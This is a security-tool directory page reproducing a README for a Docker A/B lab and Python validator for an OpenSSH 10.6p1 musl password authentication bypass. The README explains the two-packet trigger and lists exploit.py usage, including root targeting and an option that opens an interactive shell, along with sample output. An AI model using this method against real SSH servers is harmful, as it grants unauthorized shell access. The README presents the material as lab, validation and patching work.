Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-123158 — Docker A/B lab and Python validator reproducing the OpenSSH 10.6p1 musl password authentication bypass (CVE-2026-123158), with reproduction and patching docs. | Kitploit
Tools/GitHubGitHub/d1se0/cve-2026-123158
Container SecurityVulnerability AnalysisExploitationSecurity VirtualizationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubd1se0/cve-2026-123158

CVE-2026-123158

Docker A/B lab and Python validator reproducing the OpenSSH 10.6p1 musl password authentication bypass (CVE-2026-123158), with reproduction and patching docs.

View Repository
11 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    387
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    308
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    275

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-123158 — reproducible lab and validator ("sshole")

Password authentication bypass in OpenSSH < 10.6p2 on musl and without PAM. An account whose /etc/shadow field is literally * accepts a login without knowing any password, provided another local account with a $5$/$6$ hash exists from which sshd can borrow the salt.

This repository ships two containers identical except for one patch (vulnerable 10.6p1 vs patched 10.6p2), a validator that demonstrates the flaw deterministically, and complete documentation to reproduce it, deploy it, and fix it.

   ┌──────────────────────────────┐        ┌──────────────────────────────┐
   │  :2201  OpenSSH 10.6p1       │        │  :2202  OpenSSH 10.6p2       │
   │  vulnerable                  │        │  parcheado                   │
   │  locked_demo + control_user  │        │  locked_demo + control_user  │
   └──────────────────────────────┘        └──────────────────────────────┘
              bypass OK                            bypass rechazado

Expected results (verified)

targetcommandverdictexit
vulnerable :2201./exploit.pyVULNERABLE — authentication bypass confirmed0
patched :2202./exploit.py -p 2202NOT VULNERABLE — bypass was not reproduced1
── Pruebas ───────────────────────────────────────────────────────────────────
  paso  descripción                              usuario         len  conn resultado verif     ms
  01    control positivo (credencial correcta)   control_user     15     1 ACCEPTED  ok        49
  02    control negativo (cuenta con hash)       control_user    300     2 REJECTED  ok        52
  03    objetivo con contraseña corta            locked_demo      14     3 REJECTED  ok        53
  10    objetivo, 300 bytes, 1 solo paquete      locked_demo     300     4 REJECTED  info      51
  11a   priming: cachea la sal de pick_salt()    locked_demo      14     5 REJECTED  ok        58
  11b   bypass: 300 bytes en la misma conexión   locked_demo     300     5 ACCEPTED  ok        14
        │ uid=1001(locked_demo) gid=1001(locked_demo) groups=1001(locked_demo)
        │ Linux 6.17.10+kali-amd64 x86_64

Step 10 is proof that a single attempt is not enough: the bypass requires two password packets on the same connection. The details are in docs/reproduccion.md.

Quick start

git clone [email protected]:D1se0/CVE-2026-123158.git
cd CVE-2026-123158
python3 -m venv .venv && . .venv/bin/activate && pip install -r requirements.txt

./setup.sh          # build (~2-4 min) + arranque + verificación
./exploit.py        # vulnerable  -> VULNERABLE (exit 0)
./exploit.py -p 2202  # parcheado -> NO VULNERABLE (exit 1)
./ips.sh            # IP interna y puerto publicado de cada contenedor

Requirements: Docker with compose (plugin or docker-compose), ~4 GB of free RAM to compile OpenSSH, and python3 with paramiko for the validator.

Documentation

documentcontent
docs/reproduccion.mdthe bug step by step, the code involved, why two attempts are needed, what is not reproduced, and how to verify it manually with ssh
docs/despliegue.mdhow the lab is built and started, verification, ips.sh, remote execution, troubleshooting, and cleanup
docs/parcheo.mdthe upstream fix (MIN_PASSWORD_HASH_LEN), updating per distribution, temporary mitigations, how to audit whether a server is vulnerable

Structure

.
├── docker-compose.yml        # dos servicios, puertos 2201/2202, healthchecks
├── setup.sh                  # build + up + espera healthy + verificación
├── exploit.py                # validador (matriz de controles, --sweep, --json)
├── ips.sh                    # IPs internas y puertos publicados de los contenedores
├── requirements.txt          # paramiko
├── vulnerable/               # OpenSSH 10.6p1 compilado desde tarball, sin PAM
│   ├── Dockerfile
│   ├── entrypoint.sh         # crea cuentas y valida precondiciones
│   └── sshd_config
└── patched/                  # OpenSSH 10.6p2, todo lo demás idéntico

exploit.py

./exploit.py                            # [email protected]:2201
./exploit.py -p 2202                    # contra el parcheado
./exploit.py --host 172.18.0.3 -p 22    # por IP interna del contenedor
./exploit.py --sweep                    # barrido 128..1025 bytes
./exploit.py --json informe.json -q     # informe + solo veredicto
./exploit.py -u root                    # root también es alcanzable en el lab
./exploit.py --shell                    # tras confirmar, shell interactiva

--shell (or -i) requests a PTY from the server and leaves you an interactive session inside the target, just like a normal ssh: prompt, window resize, Ctrl-C to the remote process, and exit/Ctrl-D to leave.

optiondescription
hostSSH host (default 127.0.0.1)
-p, --portSSH port (default 2201)
-u, --target-useraccount with * in shadow (default locked_demo)
-c, --control-useraccount with a real password (default control_user)
--control-passwordpassword for that account (default LabPassword123!)
-l, --lengthlength of the bypass password (default 300, useful 257–1024)
--commandcommand after login (default id; uname -srm)
-i, --shellafter confirming the bypass, opens an interactive shell (exit 2 if it can't)
--sweeptries 128, 256, 257, 300, 512, 1024, 1025
-t, --timeouttimeout per operation (default 10 s)
-r, --retriesconnection retries (default 2)
--json PATHJSON report with all attempts
-q, --quietonly the verdict
-v, --verboseadditional detail
--no-colorno color (also respects NO_COLOR)

Exit codes: 0 bypass confirmed (and shell opened if requested) · 1 not reproduced · 2 inconclusive (environment error, inconsistent controls, or shell that could not be opened). That lets you use it in CI: ./exploit.py && echo "still vulnerable".

ips.sh

Docker assigns a new IP every time a container is recreated. This script queries it live so you don't have to remember it:

./ips.sh            # tabla: contenedor, rol, estado, IP interna, puerto, alcance
./ips.sh --json     # JSON para scripts
./ips.sh --env      # export LAB_VULN_HOST=... listo para `eval "$(./ips.sh --env)"`

Lab accounts

accountshadowrole
control_userhash $6$ (password LabPassword123!)validator positive control and salt donor
locked_demo*bypass target
root*also reachable here because the lab uses PermitRootLogin yes

The passwords and accounts are deliberately lab-only. Do not reuse this sshd_config outside an isolated environment.

Scope

Educational and validation material, intended for local containers or your own lab machines. Do not point it at third-party systems: in many jurisdictions unauthorized access is a crime. The repository does not include any vulnerable binary, only instructions to build the public version from its official tarball and verify the flaw.

References

  • Alpine advisory: https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass
  • OpenSSH 10.6p2 release notes (fix of 2026-11-05), commit 4353fdc43ef646c43a8dda7025cc1a898caf1482
  • Relevant code: auth-passwd.c (sys_auth_passwd()), openbsd-compat/xcrypt.c (xcrypt(), pick_salt(), shadow_pw()), openbsd-compat/port-linux.c
  • CVSS 8.1 (High)
Download Tool